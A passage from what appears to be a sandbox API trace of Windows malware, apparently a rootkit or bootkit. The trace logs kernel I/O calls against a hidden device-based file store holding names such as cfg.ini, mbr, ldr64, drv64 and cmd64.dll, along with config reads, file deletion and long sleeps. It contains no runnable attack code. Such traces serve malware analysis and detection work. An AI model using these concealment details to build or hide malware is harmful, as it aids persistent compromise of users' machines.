ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.556] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.556] IdePortDispatch () returned 0x103 [0121.557] KeWaitForMutexObject () returned 0x0 [0121.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.557] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.557] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.557] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.557] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.557] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.557] KeLeaveCriticalRegion () [0121.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.557] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.557] KeEnterCriticalRegion () [0121.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.557] KeLeaveCriticalRegion () [0121.557] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.557] KeEnterCriticalRegion () [0121.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.557] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.557] IdePortDispatch () returned 0x103 [0121.557] KeWaitForMutexObject () returned 0x0 [0121.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.557] KeLeaveCriticalRegion () [0121.557] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.557] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.558] KeEnterCriticalRegion () [0121.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.558] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b51000 [0121.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.558] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.558] IdePortDispatch () returned 0x103 [0121.558] KeWaitForMutexObject () returned 0x0 [0121.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.558] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.558] IdePortDispatch () returned 0x103 [0121.558] KeWaitForMutexObject () returned 0x0 [0121.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.558] KeLeaveCriticalRegion () [0121.558] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.559] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.559] KeEnterCriticalRegion () [0121.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.559] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.559] KeLeaveCriticalRegion () [0121.559] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.559] KeEnterCriticalRegion () [0121.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.559] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.559] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.559] KeLeaveCriticalRegion () [0121.559] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.559] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.559] KeEnterCriticalRegion () [0121.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.559] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.559] KeLeaveCriticalRegion () [0121.559] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.559] ReleaseMutex (hMutex=0xf0) returned 1 [0121.559] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.559] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.559] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.559] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.559] KeEnterCriticalRegion () [0121.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.559] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.559] IdePortDispatch () returned 0x103 [0121.560] KeWaitForMutexObject () returned 0x0 [0121.560] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.560] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.560] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.560] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.560] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.560] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.560] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.560] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.560] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.560] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.560] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.560] KeLeaveCriticalRegion () [0121.560] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.560] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.560] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.560] KeEnterCriticalRegion () [0121.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.560] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.560] IdePortDispatch () returned 0x103 [0121.560] KeWaitForMutexObject () returned 0x0 [0121.561] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.561] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.561] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.561] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.561] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.561] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.561] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.561] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.561] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.561] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.561] KeLeaveCriticalRegion () [0121.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.561] ReleaseMutex (hMutex=0x100) returned 1 [0121.561] Sleep (dwMilliseconds=0x2bf20) [0121.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ba85330, dwHighDateTime=0x1d24fa4)) [0121.570] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.570] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.570] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.570] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.570] KeEnterCriticalRegion () [0121.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.570] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.570] IdePortDispatch () returned 0x103 [0121.570] KeWaitForMutexObject () returned 0x0 [0121.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.571] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.571] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.571] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.571] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.571] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.571] KeLeaveCriticalRegion () [0121.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.571] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.571] KeEnterCriticalRegion () [0121.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.571] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.571] KeLeaveCriticalRegion () [0121.571] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.571] KeEnterCriticalRegion () [0121.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.571] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.571] IdePortDispatch () returned 0x103 [0121.571] KeWaitForMutexObject () returned 0x0 [0121.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.571] KeLeaveCriticalRegion () [0121.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.571] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.571] KeEnterCriticalRegion () [0121.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b54000 [0121.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.572] IdePortDispatch () returned 0x103 [0121.572] KeWaitForMutexObject () returned 0x0 [0121.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.572] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.572] IdePortDispatch () returned 0x103 [0121.572] KeWaitForMutexObject () returned 0x0 [0121.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.572] KeLeaveCriticalRegion () [0121.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.573] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.573] KeEnterCriticalRegion () [0121.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.573] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.573] KeLeaveCriticalRegion () [0121.573] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.573] KeEnterCriticalRegion () [0121.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.573] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.573] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.573] KeLeaveCriticalRegion () [0121.573] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.573] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.573] KeEnterCriticalRegion () [0121.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.573] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.573] KeLeaveCriticalRegion () [0121.573] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.573] ReleaseMutex (hMutex=0xf0) returned 1 [0121.573] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.573] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.573] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.573] KeEnterCriticalRegion () [0121.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.573] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.573] IdePortDispatch () returned 0x103 [0121.573] KeWaitForMutexObject () returned 0x0 [0121.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.573] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.573] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.573] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.573] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.574] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc59b0 [0121.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.574] KeLeaveCriticalRegion () [0121.574] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.574] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.574] KeEnterCriticalRegion () [0121.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.574] KeLeaveCriticalRegion () [0121.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.574] KeEnterCriticalRegion () [0121.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.574] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.574] IdePortDispatch () returned 0x103 [0121.574] KeWaitForMutexObject () returned 0x0 [0121.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.574] KeLeaveCriticalRegion () [0121.574] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.574] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.574] KeEnterCriticalRegion () [0121.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b55000 [0121.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.574] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.574] IdePortDispatch () returned 0x103 [0121.574] KeWaitForMutexObject () returned 0x0 [0121.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.575] MmProbeAndLockPages (in: 